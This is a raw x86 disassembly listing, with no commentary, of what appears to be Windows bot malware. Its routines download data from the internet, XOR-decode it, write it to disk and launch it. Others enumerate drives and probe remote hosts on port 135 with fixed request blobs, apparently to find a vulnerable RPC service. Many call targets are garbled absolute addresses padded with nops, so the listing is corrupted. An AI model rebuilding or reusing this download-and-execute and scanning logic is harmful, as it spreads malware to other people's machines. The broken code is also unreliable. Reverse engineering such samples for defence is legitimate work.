cmp eax, ebx
jl loc_410DDE
mov eax, [ebp-4]
cmp eax, ebx
jl loc_410DDE
sub [ebp+8], eax
jnz loc_410CAC
mov edi, [ebp-18h]
loc_410D49: ; CODE XREF: ___:00410CA1j
push dword ptr [ebp-8]
nop
call near ptr 267009Bh
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_411586
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4453D4
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_441CD8
push eax
call sub_4171D0
loc_410D82: ; CODE XREF: ___:00410C59j
add esp, 14h
loc_410D85: ; CODE XREF: ___:00410C92j
cmp [ebp-50h], esi
jnz short loc_410DAA
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_401445
add esp, 14h
loc_410DAA: ; CODE XREF: ___:00410D88j
lea eax, [ebp-3FCh]
push eax
call sub_410557
cmp edi, esi
pop ecx
jbe short loc_410DC2
push edi
call dword_4453E0
loc_410DC2: ; CODE XREF: ___:00410DB9j
push dword ptr [ebp-1F8h]
call dword_4453E0
push dword ptr [ebp-58h]
call sub_40916F
pop ecx
push esi
nop
call near ptr 2700000h
loc_410DDE: ; CODE XREF: ___:00410D2Cj
; ___:00410D37j
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_441CA8
push eax
push dword ptr [ebp-1FCh]
call sub_401445
push offset dword_441CC0
call sub_410557
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4453E0
push dword ptr [ebp-58h]
call sub_40916F
pop ecx
push ebx
nop
call near ptr 2700000h
loc_410E22: ; DATA XREF: sub_403038+780o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_417E20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
nop
call near ptr 2690000h
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset aSS_9 ; "%s%s"
push eax
call sub_4171D0
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
nop
call near ptr 2760000h
cmp eax, 0FFFFFFFFh
jnz short loc_410EAC
push offset unk_441D0C
jmp short loc_410EF2
; ---------------------------------------------------------------------------
loc_410EAC: ; CODE XREF: ___:00410EA3j
push eax
call near ptr 267009Bh
nop
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_417050
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_410ED4
push offset unk_441D40
jmp short loc_410EF2
; ---------------------------------------------------------------------------
loc_410ED4: ; CODE XREF: ___:00410ECBj
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_410836
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_410F05
push offset unk_441D6C
loc_410EF2: ; CODE XREF: ___:00410EAAj
; ___:00410ED2j
lea eax, [ebp-4C4h]
push eax
call sub_4171D0
pop ecx
pop ecx
jmp loc_410FFF
; ---------------------------------------------------------------------------
loc_410F05: ; CODE XREF: ___:00410EEBj
mov esi, 1000h
loc_410F0A: ; CODE XREF: ___:00410F70j
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_445360
mov edi, eax
cmp edi, ebx
jz loc_410FD1
cmp edi, 0FFFFFFFFh
jz short loc_410F72
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41A110
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_445344
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_445398
jmp short loc_410F0A
; ---------------------------------------------------------------------------
loc_410F72: ; CODE XREF: ___:00410F3Aj
lea eax, [ebp-4C4h]
push offset dword_441D8C
push eax
call sub_4171D0
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_401445
lea eax, [ebp-4C4h]
push eax
call sub_410557
push dword ptr [ebp-4]
call sub_414C60
add esp, 24h
push dword ptr [ebp+8]
call dword_4453E0
push dword ptr [ebp-1Ch]
call sub_40916F
pop ecx
push 1
nop
call near ptr 2700000h
loc_410FD1: ; CODE XREF: ___:00410F31j
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_411586
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_441DA4
push eax
call sub_4171D0
add esp, 1Ch
loc_410FFF: ; CODE XREF: ___:00410F00j
cmp [ebp-14h], ebx
jnz short loc_411024
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_401445
add esp, 14h
loc_411024: ; CODE XREF: ___:00411002j
lea eax, [ebp-4C4h]
push eax
call sub_410557
cmp [ebp-4], ebx
pop ecx
jz short loc_41103F
push dword ptr [ebp-4]
call sub_414C60
pop ecx
loc_41103F: ; CODE XREF: ___:00411034j
cmp [ebp+8], ebx
jbe short loc_41104D
push dword ptr [ebp+8]
call dword_4453E0
loc_41104D: ; CODE XREF: ___:00411042j
push dword ptr [ebp-1Ch]
call sub_40916F
pop ecx
push ebx
nop
call near ptr 2700000h
loc_41105D: ; DATA XREF: sub_403038+4E60o
; sub_403038+5095o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4452F8
call dword_44524C
cmp eax, esi
mov [ebp-18h], eax
jz loc_4114E9
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
nop
call near ptr 2760000h
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_411124
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_441DD0
push eax
call sub_4171D0
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_411107
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_401445
add esp, 14h
loc_411107: ; CODE XREF: ___:004110E5j
lea eax, [ebp-510h]
push eax
call sub_410557
push dword ptr [ebp-48h]
call sub_40916F
pop ecx
pop ecx
push esi
call near ptr 2700000h
nop
loc_411124: ; CODE XREF: ___:004110C5j
xor edi, edi
nop
call near ptr 26C05FFh
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_414DB0
pop ecx
mov [ebp-1Ch], eax
loc_41113E: ; CODE XREF: ___:00411211j
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_445254
cmp [ebp-34h], esi
jz short loc_411182
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_41154F
pop ecx
pop ecx
loc_411182: ; CODE XREF: ___:0041116Fj
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
nop
call near ptr 2720000h
cmp edi, ebx
jnb short loc_4111C0
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_4111AA
mov eax, [ebp+8]
loc_4111AA: ; CODE XREF: ___:004111A5j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_4187B0
add esp, 0Ch
loc_4111C0: ; CODE XREF: ___:0041119Cj
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_4111CD
cmp edi, [ebp-3Ch]
ja short loc_411217
loc_4111CD: ; CODE XREF: ___:004111C6j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_4111E7
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_441DF8
jmp short loc_4111F7
; ---------------------------------------------------------------------------
loc_4111E7: ; CODE XREF: ___:004111D3j
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_441E20
loc_4111F7: ; CODE XREF: ___:004111E5j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_446010
push eax
call sub_4171D0
add esp, 10h
cmp [ebp+8], esi
ja loc_41113E
loc_411217: ; CODE XREF: ___:004111CBj
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_41126C
cmp edi, [ebp-3Ch]
jz short loc_41126C
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_441E48
push eax
call sub_4171D0
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_401445
lea eax, [ebp-510h]
push eax
call sub_410557
add esp, 28h
loc_41126C: ; CODE XREF: ___:00411221j
; ___:00411226j
nop
call near ptr 26C05FFh
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call near ptr 267009Bh
nop
push dword ptr [ebp-1Ch]
call sub_415820
cmp [ebp-38h], esi
pop ecx
jz short loc_4112F6
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_4112F6
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_441E74
push eax
call sub_4171D0
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_401445
lea eax, [ebp-510h]
push eax
call sub_410557
add esp, 28h
loc_4112F6: ; CODE XREF: ___:0041129Ej
; ___:004112B0j
cmp [ebp-14h], esi
jz loc_411536
cmp dword ptr [ebp-44h], 1
jz loc_4113F1
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_433478
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_433478
fstp qword ptr [esp]
push offset unk_441E9C
push eax
call sub_4171D0
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_411371
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_401445
add esp, 14h
loc_411371: ; CODE XREF: ___:0041134Fj
lea eax, [ebp-510h]
push eax
call sub_410557
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_411536
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen_2 ; "open"
push esi
call dword_4452B4
cmp [ebp-30h], esi
jnz loc_411536
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_441EDC
push eax
call sub_4171D0
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_401445
lea eax, [ebp-510h]
push eax
call sub_410557
add esp, 24h
jmp loc_411536
; ---------------------------------------------------------------------------
loc_4113F1: ; CODE XREF: ___:00411303j
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_433478
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_433478
fstp qword ptr [esp]
push offset unk_441EF8
push eax
call sub_4171D0
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_411459
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_401445
add esp, 14h
loc_411459: ; CODE XREF: ___:00411437j
lea eax, [ebp-510h]
push eax
call sub_410557
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_417070
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_417070
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset dword_4DA3DC
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
nop
call near ptr 267039Fh
cmp eax, edi
jnz short loc_4114DB
call dword_4452A0
call sub_411FA3
push esi
nop
call near ptr 77E75CB5h
loc_4114DB: ; CODE XREF: ___:004114C7j
lea eax, [ebp-148h]
push eax
push offset unk_441F3C
jmp short loc_4114F5
; ---------------------------------------------------------------------------
loc_4114E9: ; CODE XREF: ___:004110A2j
lea eax, [ebp-248h]
push eax
push offset unk_441F70
loc_4114F5: ; CODE XREF: ___:004114E7j
lea eax, [ebp-510h]
push eax
call sub_4171D0
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_411529
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_401445
add esp, 14h
loc_411529: ; CODE XREF: ___:00411507j
lea eax, [ebp-510h]
push eax
call sub_410557
pop ecx
loc_411536: ; CODE XREF: ___:004112F9j
; ___:00411382j ...
push dword ptr [ebp-18h]
call dword_44537C
push dword ptr [ebp-48h]
call sub_40916F
pop ecx
push esi
nop
call near ptr 2700000h
; =============== S U B R O U T I N E =======================================
sub_41154F proc near ; CODE XREF: ___:0041117Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_41156B
loc_41155B: ; CODE XREF: sub_41154F+1Aj
mov dl, byte_436C28
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_41155B
locret_41156B: ; CODE XREF: sub_41154F+Aj
retn
sub_41154F endp
; =============== S U B R O U T I N E =======================================
sub_41156C proc near ; CODE XREF: sub_403038+43C5p
; sub_403038+44F7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41A370
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_41156C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411586 proc near ; CODE XREF: sub_40E18A+45Dp
; sub_40E18A+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4DA3E0
push 0
push edi
call sub_417070
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_4115AB: ; CODE XREF: sub_411586+5Bj
; sub_411586+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41A440
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41A3D0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_4115E9
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_4115AB
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_4115AB
; ---------------------------------------------------------------------------
loc_4115E9: ; CODE XREF: sub_411586+4Bj
dec esi
mov eax, edi
loc_4115EC: ; CODE XREF: sub_411586+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_4115FB
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_4115EC
; ---------------------------------------------------------------------------
loc_4115FB: ; CODE XREF: sub_411586+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_411586 endp
; =============== S U B R O U T I N E =======================================
sub_411605 proc near ; CODE XREF: sub_4117BA+51p
; sub_4117BA+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4453A8
sub eax, 0
jz short loc_411648
dec eax
jz short loc_411642
dec eax
dec eax
jz short loc_41163C
dec eax
jz short loc_411636
dec eax
jz short loc_411630
dec eax
jz short loc_41162A
mov eax, offset dword_441FC8
retn
; ---------------------------------------------------------------------------
loc_41162A: ; CODE XREF: sub_411605+1Dj
mov eax, offset off_441FC4
retn
; ---------------------------------------------------------------------------
loc_411630: ; CODE XREF: sub_411605+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_411636: ; CODE XREF: sub_411605+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_41163C: ; CODE XREF: sub_411605+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_411642: ; CODE XREF: sub_411605+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_411648: ; CODE XREF: sub_411605+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_411605 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41164E proc near ; CODE XREF: sub_411696+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_445238
test eax, eax
jz short loc_411683
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_411683: ; CODE XREF: sub_41164E+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_41164E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411696 proc near ; CODE XREF: sub_4117BA+17p
; sub_414129+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_41164E
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_411770
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_411770
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_411770
mov edi, 400h
push 0
push edi
push [ebp+var_14]
push [ebp+var_18]
call sub_41A4C0
push edx
push eax
call sub_411586
push eax
mov esi, 80h
push offset aSkb ; "%sKB"
lea eax, [ebp+var_198]
push esi
push eax
call sub_4172D0
add esp, 18h
push 0
push edi
push [ebp+var_C]
push [ebp+var_10]
call sub_41A4C0
push edx
push eax
call sub_411586
push eax
push offset aSkb_0 ; "%sKB"
lea eax, [ebp+var_118]
push esi
push eax
call sub_4172D0
add esp, 18h
push 0
push edi
push [ebp+var_4]
push [ebp+var_8]
call sub_41A4C0
push edx
push eax
call sub_411586
push eax
push offset aSkb_1 ; "%sKB"
lea eax, [ebp+var_98]
push esi
push eax
call sub_4172D0
jmp short loc_4117A3
; ---------------------------------------------------------------------------
loc_411770: ; CODE XREF: sub_411696+2Cj
; sub_411696+3Bj ...
lea eax, [ebp+var_198]
push offset aFailed ; "failed"
push eax
call sub_4171D0
lea eax, [ebp+var_118]
push offset aFailed_0 ; "failed"
push eax
call sub_4171D0
lea eax, [ebp+var_98]
push offset aFailed_1 ; "failed"
push eax
call sub_4171D0
loc_4117A3: ; CODE XREF: sub_411696+D8j
mov eax, [ebp+arg_0]
add esp, 18h
lea esi, [ebp+var_198]
mov edi, eax
push 60h
pop ecx
rep movsd
pop edi
pop esi
leave
retn
sub_411696 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4117BA proc near ; CODE XREF: sub_41188C+17p
; sub_41188C+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_411696
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed_2 ; "failed"
rep movsd
push eax
call sub_417870
add esp, 10h
test eax, eax
jnz short loc_41182D
push ebx
push ebx
call sub_411605
pop ecx
push eax
push offset unk_442004
lea eax, [ebp+var_500]
push 200h
push eax
call sub_4172D0
add esp, 14h
jmp short loc_411861
; ---------------------------------------------------------------------------
loc_41182D: ; CODE XREF: sub_4117BA+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_411605
pop ecx
push eax
push offset unk_442040
lea eax, [ebp+var_500]
push 200h
push eax
call sub_4172D0
add esp, 20h
loc_411861: ; CODE XREF: sub_4117BA+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
lea eax, [ebp+var_500]
push eax
call sub_410557
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_4117BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41188C proc near ; CODE XREF: sub_403038+39AEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_4118AD
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4117BA
add esp, 10h
jmp short loc_41190E
; ---------------------------------------------------------------------------
loc_4118AD: ; CODE XREF: sub_41188C+9j
push esi
push edi
push ebx
push ebx
call dword_4452B0
lea esi, [eax+2]
push esi
call sub_414DB0
pop ecx
mov edi, eax
push edi
push esi
call dword_4452B0
cmp [edi], bl
mov esi, edi
jz short loc_411905
loc_4118D1: ; CODE XREF: sub_41188C+77j
push offset off_44207C
push esi
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_4118F4
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4117BA
add esp, 10h
loc_4118F4: ; CODE XREF: sub_41188C+54j
push esi
call sub_414BE0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_4118D1
loc_411905: ; CODE XREF: sub_41188C+43j
push edi
call sub_415820
pop ecx
pop edi
pop esi
loc_41190E: ; CODE XREF: sub_41188C+1Fj
pop ebx
pop ebp
retn
sub_41188C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411911 proc near ; CODE XREF: sub_411949+125p
; sub_411949+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_41193F
loc_411922: ; CODE XREF: sub_411911+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41A570
add esp, 0Ch
test eax, eax
jz short loc_411945
inc esi
cmp esi, edi
jl short loc_411922
loc_41193F: ; CODE XREF: sub_411911+Fj
xor al, al
loc_411941: ; CODE XREF: sub_411911+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_411945: ; CODE XREF: sub_411911+27j
mov al, 1
jmp short loc_411941
sub_411911 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411949 proc near ; CODE XREF: ___:0040AE11p
; ___:0040C803p ...
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_417E20
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_41198A
dec eax
jz short loc_411968
dec eax
loc_411962: ; CODE XREF: sub_411949+57j
xor eax, eax
loc_411964: ; CODE XREF: sub_411949+3Fj
; sub_411949+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_411968: ; CODE XREF: sub_411949+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_445388
push eax
call sub_409C62
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_411964
; ---------------------------------------------------------------------------
loc_41198A: ; CODE XREF: sub_411949+13j
push 6
push 1
push 2
call dword_4453C8
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_411962
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_417070
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_445348
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_402561
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4452F0
cmp eax, edi
jz loc_411AA6
push ebx
push 48h
push offset dword_442080
push esi
call dword_445398
cmp eax, edi
jz loc_411AA6
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_445360
cmp eax, edi
jz loc_411AA6
cmp [ebp+var_200E], 0Ch
jnz short loc_411AA6
push ebx
push 18h
push offset dword_4420CC
push [ebp+arg_4]
call dword_445398
cmp eax, edi
jz short loc_411AA6
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_445360
mov esi, eax
cmp esi, edi
jz short loc_411AA6
cmp [ebp+var_200E], 2
jnz short loc_411AA6
push 10h
push offset loc_4420E8
lea eax, [ebp+var_2010]
push esi
push eax
call sub_411911
add esp, 10h
test al, al
jz short loc_411A86
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_411AA6
; ---------------------------------------------------------------------------
loc_411A86: ; CODE XREF: sub_411949+12Fj
push 10h
push offset dword_4420FC
lea eax, [ebp+var_2010]
push esi
push eax
call sub_411911
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_411AA6: ; CODE XREF: sub_411949+9Bj
; sub_411949+B2j ...
push [ebp+arg_4]
call dword_4453E0
mov eax, ebx
pop ebx
jmp loc_411964
sub_411949 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411AB7 proc near ; CODE XREF: sub_403038+BBBp
; sub_403038+BF8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_411B42
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_411B42
cmp [ebp+arg_8], esi
jz short loc_411B42
cmp byte ptr [eax], 0
jz short loc_411B42
push ebx
push edi
call sub_431CB0
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_411B3D
push [ebp+arg_4]
push edi
call sub_417B50
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_411B36
sub eax, edi
push eax
push edi
push ebx
call sub_417770
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_414BE0
push eax
push [ebp+arg_8]
push ebx
call sub_418680
push [ebp+arg_4]
call sub_414BE0
add eax, esi
push eax
push ebx
call sub_4184D0
push ebx
push edi
call sub_4184C0
add esp, 30h
mov esi, edi
loc_411B36: ; CODE XREF: sub_411AB7+3Cj
push ebx
call sub_415820
pop ecx
loc_411B3D: ; CODE XREF: sub_411AB7+2Bj
mov eax, esi
pop ebx
